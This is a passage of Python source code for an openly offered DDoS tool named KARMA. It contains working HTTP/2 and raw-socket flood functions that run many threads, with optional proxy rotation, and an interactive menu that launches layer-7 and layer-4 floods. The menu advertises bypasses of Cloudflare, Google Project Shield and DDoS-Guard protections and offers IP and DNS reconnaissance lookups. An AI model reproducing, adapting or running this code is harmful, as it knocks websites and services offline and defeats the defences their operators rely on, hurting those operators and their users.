694 | 'Upgrade-Insecure-Requests': '1',
695 | 'Sec-Fetch-Dest': 'document',
696 | 'Sec-Fetch-Mode': 'navigate',
697 | 'Sec-Fetch-Site': 'same-origin',
698 | 'Sec-Fetch-User': '?1',
699 | 'TE': 'trailers',
700 | }
701 | client = httpx.Client(http2=True)
702 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
703 | try:
704 | client.get(url, headers=headers)
705 | client.get(url, headers=headers)
706 | except:
707 | pass
708 |
709 | def LaunchPXHTTP2(url, th, t):
710 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
711 | for _ in range(int(th)):
712 | threading.Thread(target=AttackHTTP2, args=(url, until)).start()
713 |
714 | def AttackPXHTTP2(url, until_datetime):
715 | headers = {
716 | 'User-Agent': random.choice(ua),
717 | 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
718 | 'Accept-Language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
719 | 'Accept-Encoding': 'deflate, gzip;q=1.0, *;q=0.5',
720 | 'Cache-Control': 'no-cache',
721 | 'Pragma': 'no-cache',
722 | 'Connection': 'keep-alive',
723 | 'Upgrade-Insecure-Requests': '1',
724 | 'Sec-Fetch-Dest': 'document',
725 | 'Sec-Fetch-Mode': 'navigate',
726 | 'Sec-Fetch-Site': 'same-origin',
727 | 'Sec-Fetch-User': '?1',
728 | 'TE': 'trailers',
729 | }
730 |
731 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
732 | try:
733 | client = httpx.Client(
734 | http2=True,
735 | proxies={
736 | 'http://': 'http://'+random.choice(proxies),
737 | 'https://': 'http://'+random.choice(proxies),
738 | }
739 | )
740 | client.get(url, headers=headers)
741 | client.get(url, headers=headers)
742 | except:
743 | pass
744 |
745 | def test1(url, th, t):
746 | until = datetime.datetime.now() + datetime.timedelta(seconds=int(t))
747 | target = get_target(url)
748 | req = 'GET '+ target['uri'] +' HTTP/1.1\r\n'
749 | req += 'Host: ' + target['host'] + '\r\n'
750 | req += 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\n'
751 | req += 'Accept-Encoding: gzip, deflate, br\r\n'
752 | req += 'Accept-Language: ko,ko-KR;q=0.9,en-US;q=0.8,en;q=0.7\r\n'
753 | req += 'Cache-Control: max-age=0\r\n'
754 | #req += 'Cookie: ' + cookie + '\r\n'
755 | req += f'sec-ch-ua: "Chromium";v="100", "Google Chrome";v="100"\r\n'
756 | req += 'sec-ch-ua-mobile: ?0\r\n'
757 | req += 'sec-ch-ua-platform: "Windows"\r\n'
758 | req += 'sec-fetch-dest: empty\r\n'
759 | req += 'sec-fetch-mode: cors\r\n'
760 | req += 'sec-fetch-site: same-origin\r\n'
761 | req += 'Connection: Keep-Alive\r\n'
762 | req += 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G60 MicroMessenger/6.5.18 NetType/WIFI Language/en\r\n\r\n\r\n'
763 | for _ in range(int(th)):
764 | try:
765 | thd = threading.Thread(target=test2,args=(until, target, req,))
766 | thd.start()
767 | except:
768 | pass
769 |
770 | def test2(until_datetime, target, req):
771 | if target['scheme'] == 'https':
772 | packet = socks.socksocket()
773 | packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
774 | packet.connect((str(target['host']), int(target['port'])))
775 | packet = ssl.create_default_context().wrap_socket(packet, server_hostname=target['host'])
776 | else:
777 | packet = socks.socksocket()
778 | packet.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
779 | packet.connect((str(target['host']), int(target['port'])))
780 | while (until_datetime - datetime.datetime.now()).total_seconds() > 0:
781 | try:
782 | for _ in range(10):
783 | packet.send(str.encode(req))
784 | except:
785 | packet.close()
786 | pass
787 |
788 |
789 | #endregion
790 |
791 | def clear():
792 | if name == 'nt':
793 | system('cls')
794 | else:
795 | system('clear')
796 | ##############################################################################################
797 | def help():
798 | clear()
799 | stdout.write(" \n")
800 | stdout.write(" "+Fore.LIGHTWHITE_EX +" ╦ ╦╔═╗╦ ╔═╗ \n")
801 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ╠═╣║╣ ║ ╠═╝ \n")
802 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ╩ ╩╚═╝╩═╝╩ \n")
803 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
804 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╔═════════╩═════════════════════════════════╩═════════╗\n")
805 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"layer7 "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show Layer7 Methods "+Fore.LIGHTCYAN_EX+"║\n")
806 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"layer4 "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show Layer4 Methods "+Fore.LIGHTCYAN_EX+"║\n")
807 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"tools "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show tools "+Fore.LIGHTCYAN_EX+"║\n")
808 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"credit "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Show credit "+Fore.LIGHTCYAN_EX+"║\n")
809 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"exit "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Exit KARMA DDoS "+Fore.LIGHTCYAN_EX+"║\n")
810 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╠═════════════════════════════════════════════════════╣\n")
811 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"THANK "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Thanks for using KARMA. "+Fore.LIGHTCYAN_EX+"║\n")
812 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"YOU♥ "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Plz star project :) "+Fore.LIGHTCYAN_EX+"║\n")
813 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"github "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" github.com/HyukIsBack/KARMA-DDoS "+Fore.LIGHTCYAN_EX+"║\n")
814 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╚═════════════════════════════════════════════════════╝\n")
815 | stdout.write("\n")
816 | ##############################################################################################
817 | def credit():
818 | stdout.write("\x1b[38;2;0;236;250m════════════════════════╗\n")
819 | stdout.write("\x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX +"Developer "+Fore.RED+": \x1b[38;2;0;255;189mHyuk\n")
820 | stdout.write("\x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX +"UI Design "+Fore.RED+": \x1b[38;2;0;255;189mYone不\n")
821 | stdout.write("\x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX +"Methods/Tools "+Fore.RED+": \x1b[38;2;0;255;189mSkyWtkh\n")
822 | stdout.write("\x1b[38;2;0;236;250m════════════════════════╝\n")
823 | stdout.write("\n")
824 | ##############################################################################################
825 | def layer7():
826 | clear()
827 | stdout.write(" \n")
828 | stdout.write(" "+Fore.LIGHTWHITE_EX +"╦ ╔═╗╦ ╦╔═╗╦═╗ ══╗ \n")
829 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ ╠═╣╚╦╝║╣ ╠╦╝ ╔╝ \n")
830 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╩═╝╩ ╩ ╩ ╚═╝╩╚═ ╩ \n")
831 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
832 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╔══════════╩═════════════════════════════════╩═════════╗\n")
833 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"cfb "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF Attack "+Fore.LIGHTCYAN_EX+"║\n")
834 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxcfb "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF Attack With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
835 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"cfreq "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF UAM, CAPTCHA, BFM (request) "+Fore.LIGHTCYAN_EX+"║\n")
836 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"cfsoc "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass CF UAM, CAPTCHA, BFM (socket) "+Fore.LIGHTCYAN_EX+"║\n")
837 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxsky "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Bypass Google Project Shield, Vshield, "+Fore.LIGHTCYAN_EX+"║\n")
838 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m "+Fore.LIGHTWHITE_EX+" "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" DDoS Guard Free, CF NoSec With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
839 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"sky "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Sky method without proxy "+Fore.LIGHTCYAN_EX+"║\n")
840 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"http2 "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP 2.0 Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
841 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxhttp2"+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP 2.0 Request Attack With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
842 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"get "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Get Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
843 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"post "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Post Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
844 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"head "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Head Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
845 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pps "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Only GET / HTTP/1.1 "+Fore.LIGHTCYAN_EX+"║\n")
846 |
847 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"spoof "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP Spoof Socket Attack "+Fore.LIGHTCYAN_EX+"║\n")
848 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxspoof"+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" HTTP Spoof Socket Attack With Proxy "+Fore.LIGHTCYAN_EX+"║\n")
849 |
850 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"soc "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Socket Attack "+Fore.LIGHTCYAN_EX+"║\n")
851 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxraw "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Proxy Request Attack "+Fore.LIGHTCYAN_EX+"║\n")
852 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"pxsoc "+Fore.LIGHTCYAN_EX+" |"+Fore.LIGHTWHITE_EX+" Proxy Socket Attack "+Fore.LIGHTCYAN_EX+"║\n")
853 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╚══════════════════════════════════════════════════════╝\n")
854 | stdout.write("\n")
855 | ##############################################################################################
856 | def layer4():
857 | clear()
858 | stdout.write(" \n")
859 | stdout.write(" "+Fore.LIGHTWHITE_EX +"╦ ╔═╗╦ ╦╔═╗╦═╗ ╦ ╦ \n")
860 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ ╠═╣╚╦╝║╣ ╠╦╝ ╚═╣ \n")
861 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╩═╝╩ ╩ ╩ ╚═╝╩╚═ ╩ \n")
862 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
863 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╔═════════╩═════════════════════════════════╩═════════╗\n")
864 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"udp "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" UDP Attack "+Fore.LIGHTCYAN_EX+"║\n")
865 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"tcp "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" TCP Attack "+Fore.LIGHTCYAN_EX+"║\n")
866 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╚═════════════════════════════════════════════════════╝\n")
867 | stdout.write("\n")
868 | ##############################################################################################
869 | def tools():
870 | clear()
871 | stdout.write(" \n")
872 | stdout.write(" "+Fore.LIGHTWHITE_EX +"╔╦╗╔═╗╔═╗╦ ╔═╗ \n")
873 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ║ ║ ║║ ║║ ╚═╗ \n")
874 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ╩ ╚═╝╚═╝╩═╝╚═╝ \n")
875 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
876 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╔═════════╩═════════════════════════════════╩═════════╗\n")
877 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"geoip "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Geo IP Address Lookup"+Fore.LIGHTCYAN_EX+" ║\n")
878 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"dns "+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Classic DNS Lookup "+Fore.LIGHTCYAN_EX+" ║\n")
879 | stdout.write(" "+Fore.LIGHTCYAN_EX +"║ \x1b[38;2;255;20;147m• "+Fore.LIGHTWHITE_EX+"subnet"+Fore.LIGHTCYAN_EX+"|"+Fore.LIGHTWHITE_EX+" Subnet IP Address Lookup "+Fore.LIGHTCYAN_EX+" ║\n")
880 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╚═════════════════════════════════════════════════════╝\n")
881 | stdout.write("\n")
882 | ##############################################################################################
883 | def title():
884 | stdout.write(" \n")
885 | stdout.write(" "+Fore.LIGHTWHITE_EX +"╦╔═╔═╗╦═╗╔╦╗╔═╗ \n")
886 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╠╩╗╠═╣╠╦╝║║║╠═╣ \n")
887 | stdout.write(" "+Fore.LIGHTCYAN_EX +"╩ ╩╩ ╩╩╚═╩ ╩╩ ╩ \n")
888 | stdout.write(" "+Fore.LIGHTCYAN_EX +" ══╦═════════════════════════════════╦══\n")
889 | stdout.write(" "+Fore.LIGHTCYAN_EX+"╔═════════╩═════════════════════════════════╩═════════╗\n")
890 | stdout.write(" "+Fore.LIGHTCYAN_EX+"║ "+Fore.LIGHTWHITE_EX +" Welcome To The Main Screen Of Karma "+Fore.LIGHTCYAN_EX +" ║\n")
891 | stdout.write(" "+Fore.LIGHTCYAN_EX+"║ "+Fore.LIGHTWHITE_EX +" Type [help] to see the Commands "+Fore.LIGHTCYAN_EX +" ║\n")
892 | stdout.write(" "+Fore.LIGHTCYAN_EX+"║ "+Fore.LIGHTWHITE_EX +" Contact Dev - Telegram @zjfoq394 "+Fore.LIGHTCYAN_EX +" ║\n")
893 | stdout.write(" "+Fore.LIGHTCYAN_EX+"╚═════════════════════════════════════════════════════╝\n")
894 | stdout.write("\n")
895 | ##############################################################################################
896 | def command():
897 | stdout.write(Fore.LIGHTCYAN_EX+"╔═══"+Fore.LIGHTCYAN_EX+"[""root"+Fore.LIGHTGREEN_EX+"@"+Fore.LIGHTCYAN_EX+"Karma"+Fore.CYAN+"]"+Fore.LIGHTCYAN_EX+"\n╚══\x1b[38;2;0;255;189m> "+Fore.WHITE)
898 | command = input()
899 | if command == "cls" or command == "clear":
900 | clear()
901 | title()
902 | elif command == "help" or command == "?":
903 | help()
904 | elif command == "credit":
905 | credit()
906 | elif command == "layer7" or command == "LAYER7" or command == "l7" or command == "L7" or command == "Layer7":
907 | layer7()
908 | elif command == "layer4" or command == "LAYER4" or command == "l4" or command == "L4" or command == "Layer4":
909 | layer4()
910 | elif command == "tools" or command == "tool":
911 | tools()
912 | elif command == "exit":
913 | exit()
914 | elif command == "test":
915 | target, thread, t = get_info_l7()
916 | test1(target, thread, t)
917 | time.sleep(10)
918 | elif command == "http2" or command == "HTTP2":
919 | target, thread, t = get_info_l7()
920 | timer = threading.Thread(target=countdown, args=(t,))
921 | timer.start()
922 | LaunchHTTP2(target, thread, t)
923 | timer.join()
924 | elif command == "pxhttp2" or command == "PXHTTP2":
925 | if get_proxies():
926 | target, thread, t = get_info_l7()
927 | timer = threading.Thread(target=countdown, args=(t,))
928 | timer.start()
929 | LaunchPXHTTP2(target, thread, t)
930 | timer.join()
931 | elif command == "cfb" or command == "CFB":
932 | target, thread, t = get_info_l7()
933 | timer = threading.Thread(target=countdown, args=(t,))
934 | timer.start()
935 | LaunchCFB(target, thread, t)
936 | timer.join()
937 | elif command == "pxcfb" or command == "PXCFB":
938 | if get_proxies():
939 | target, thread, t = get_info_l7()
940 | timer = threading.Thread(target=countdown, args=(t,))
941 | timer.start()
942 | LaunchPXCFB(target, thread, t)
943 | timer.join()
944 | elif command == "pps" or command == "PPS":
945 | target, thread, t = get_info_l7()
946 | timer = threading.Thread(target=countdown, args=(t,))
947 | timer.start()
948 | LaunchPPS(target, thread, t)
949 | timer.join()
950 | elif command == "spoof" or command == "SPOOF":
951 | target, thread, t = get_info_l7()
952 | timer = threading.Thread(target=countdown, args=(t,))
953 | timer.start()
954 | LaunchSPOOF(target, thread, t)
955 | timer.join()
956 | elif command == "pxspoof" or command == "PXSPOOF":
957 | target, thread, t = get_info_l7()
958 | #timer = threading.Thread(target=countdown, args=(t,))
959 | #timer.start()
960 | LaunchPXSPOOF(target, thread, t, get_proxylist("SOCKS5"))
961 | #timer.join()
962 | time.sleep(1000)
963 | elif command == "get" or command == "GET":
964 | target, thread, t = get_info_l7()
965 | timer = threading.Thread(target=countdown, args=(t,))
966 | timer.start()
967 | LaunchRAW(target, thread, t)
968 | timer.join()
969 | elif command == "post" or command == "POST":
970 | target, thread, t = get_info_l7()
971 | timer = threading.Thread(target=countdown, args=(t,))
972 | timer.start()
973 | LaunchPOST(target, thread, t)
974 | timer.join()
975 | elif command == "head" or command == "HEAD":
976 | target, thread, t = get_info_l7()
977 | timer = threading.Thread(target=countdown, args=(t,))
978 | timer.start()
979 | LaunchHEAD(target, thread, t)
980 | timer.join()
981 | elif command == "pxraw" or command == "PXRAW":
982 | if get_proxies():
983 | target, thread, t = get_info_l7()
984 | timer = threading.Thread(target=countdown, args=(t,))
985 | timer.start()
986 | LaunchPXRAW(target, thread, t)
987 | timer.join()
988 | elif command == "soc" or command == "SOC":
989 | target, thread, t = get_info_l7()
990 | timer = threading.Thread(target=countdown, args=(t,))
991 | timer.start()
992 | LaunchSOC(target, thread, t)
993 | timer.join()
994 | elif command == "pxsoc" or command == "PXSOC":
995 | if get_proxies():
996 | target, thread, t = get_info_l7()
997 | timer = threading.Thread(target=countdown, args=(t,))
998 | timer.start()
999 | LaunchPXSOC(target, thread, t)
1000 | timer.join()
1001 | elif command == "cfreq" or command == "CFREQ":
1002 | target, thread, t = get_info_l7()
1003 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Bypassing CF... (Max 60s)\n")
1004 | if get_cookie(target):
1005 | timer = threading.Thread(target=countdown, args=(t,))
1006 | timer.start()
1007 | LaunchCFPRO(target, thread, t)
1008 | timer.join()
1009 | else:
1010 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Failed to bypass cf\n")
1011 | elif command == "cfsoc" or command == "CFSOC":
1012 | target, thread, t = get_info_l7()
1013 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Bypassing CF... (Max 60s)\n")
1014 | if get_cookie(target):
1015 | timer = threading.Thread(target=countdown, args=(t,))
1016 | timer.start()
1017 | LaunchCFSOC(target, thread, t)
1018 | timer.join()
1019 | else:
1020 | stdout.write(Fore.MAGENTA+" [*] "+Fore.WHITE+"Failed to bypass cf\n")
1021 | elif command == "pxsky" or command == "PXSKY":
1022 | if get_proxies():
1023 | target, thread, t = get_info_l7()
1024 | threading.Thread(target=attackSKY, args=(target, t, thread)).start()
1025 | timer = threading.Thread(target=countdown, args=(t,))
1026 | timer.start()
1027 | timer.join()
1028 | elif command == "sky" or command == "SKY":
1029 | target, thread, t = get_info_l7()
1030 | threading.Thread(target=attackSTELLAR, args=(target, t, thread)).start()
1031 | timer = threading.Thread(target=countdown, args=(t,))
1032 | timer.start()
1033 | timer.join()
1034 | elif command == "udp" or command == "UDP":
1035 | target, port, thread, t = get_info_l4()
1036 | threading.Thread(target=runsender, args=(target, port, t, thread)).start()
1037 | timer = threading.Thread(target=countdown, args=(t,))
1038 | timer.start()
1039 | timer.join()
1040 | elif command == "tcp" or command == "TCP":
1041 | target, port, thread, t = get_info_l4()
1042 | threading.Thread(target=runflooder, args=(target, port, t, thread)).start()
1043 | timer = threading.Thread(target=countdown, args=(t,))
1044 | timer.start()
1045 | timer.join()
1046 |
1047 |
1048 | ##############################################################################################
1049 | elif command == "subnet":
1050 | stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"IP "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
1051 | target = input()
1052 | try:
1053 | r = requests.get(f"https://api.hackertarget.com/subnetcalc/?q={target}")
1054 | print(r.text)
1055 | except:
1056 | print('An error has occurred while sending the request to the API!')
1057 |
1058 | elif command == "dns":
1059 | stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"IP/DOMAIN "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
1060 | target = input()
1061 | try:
1062 | r = requests.get(f"https://api.hackertarget.com/reversedns/?q={target}")
1063 | print(r.text)
1064 | except:
1065 | print('An error has occurred while sending the request to the API!')
1066 |
1067 | elif command == "geoip":
1068 | stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"IP "+Fore.LIGHTCYAN_EX+": "+Fore.LIGHTGREEN_EX)
1069 | target = input()
1070 | try:
1071 | r = requests.get(f"https://api.hackertarget.com/geoip/?q={target}")
1072 | print(r.text)
1073 | except:
1074 | print('An error has occurred while sending the request to the API!')
1075 | else:
1076 | stdout.write(Fore.MAGENTA+" [>] "+Fore.WHITE+"Unknown command. type 'help' to see all commands.\n")
1077 | ##############################################################################################
1078 |
1079 | def func():
1080 | stdout.write(Fore.RED+" [\x1b[38;2;0;255;189mLAYER 7"+Fore.RED+"]\n")
1081 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"cfb "+Fore.RED+": "+Fore.WHITE+"Bypass CF attack\n")
1082 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"pxcfb "+Fore.RED+": "+Fore.WHITE+"Bypass CF attack with proxy\n")
1083 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"cfpro "+Fore.RED+": "+Fore.WHITE+"Bypass CF UAM, CF CAPTCHA, CF BFM, CF JS (request)\n")
1084 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"cfsoc "+Fore.RED+": "+Fore.WHITE+"Bypass CF UAM, CF CAPTCHA, CF BFM, CF JS (socket)\n")
1085 | # stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"sky "+Fore.RED+": "+Fore.WHITE+"HTTPS Flood and bypass for CF NoSec, DDoS Guard Free and vShield\n")
1086 | # stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"stellar "+Fore.RED+": "+Fore.WHITE+"HTTPS Sky method without proxies\n")
1087 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"raw "+Fore.RED+": "+Fore.WHITE+"Request attack\n")
1088 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"post "+Fore.RED+": "+Fore.WHITE+"Post Request attack\n")
1089 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"head "+Fore.RED+": "+Fore.WHITE+"Head Request attack\n")
1090 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"soc "+Fore.RED+": "+Fore.WHITE+"Socket attack\n")
1091 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"pxraw "+Fore.RED+": "+Fore.WHITE+"Proxy Request attack\n")
1092 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"pxsoc "+Fore.RED+": "+Fore.WHITE+"Proxy Socket attack\n")
1093 |
1094 | #stdout.write(Fore.RED+" \n["+Fore.WHITE+"LAYER 4"+Fore.RED+"]\n")
1095 | #stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"tcp "+Fore.RED+": "+Fore.WHITE+"Strong TCP attack (not supported)\n")
1096 | #stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"udp "+Fore.RED+": "+Fore.WHITE+"Strong UDP attack (not supported)\n")
1097 |
1098 | stdout.write(Fore.RED+" \n[\x1b[38;2;0;255;189mTOOLS"+Fore.RED+"]\n")
1099 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"dns "+Fore.RED+": "+Fore.WHITE+"Classic DNS Lookup\n")
1100 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"geoip "+Fore.RED+": "+Fore.WHITE+"Geo IP Address Lookup\n")
1101 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"subnet "+Fore.RED+": "+Fore.WHITE+"Subnet IP Address Lookup\n")
1102 |
1103 | stdout.write(Fore.RED+" \n[\x1b[38;2;0;255;189mOTHER"+Fore.RED+"]\n")
1104 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"clear/cls "+Fore.RED+": "+Fore.WHITE+"Clear console\n")
1105 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"exit "+Fore.RED+": "+Fore.WHITE+"Bye..\n")
1106 | stdout.write(Fore.MAGENTA+" • "+Fore.WHITE+"credit "+Fore.RED+": "+Fore.WHITE+"Thanks for\n")
1107 |
1108 | if __name__ == '__main__':
1109 | init(convert=True)
1110 | if len(sys.argv) < 2:
1111 | ua = open('./resources/ua.txt', 'r').read().split('\n')
1112 | clear()
1113 | title()
1114 | while True:
1115 | command()
1116 | elif len(sys.argv) == 5:
1117 | pass
1118 | else:
1119 | stdout.write("Method: cfb, pxcfb, cfreq, cfsoc, pxsky, sky, http2, pxhttp2, get, post, head, soc, pxraw, pxsoc\n")
1120 | stdout.write(f"usage:~# python3 {sys.argv[0]} \n")
1121 | sys.exit()
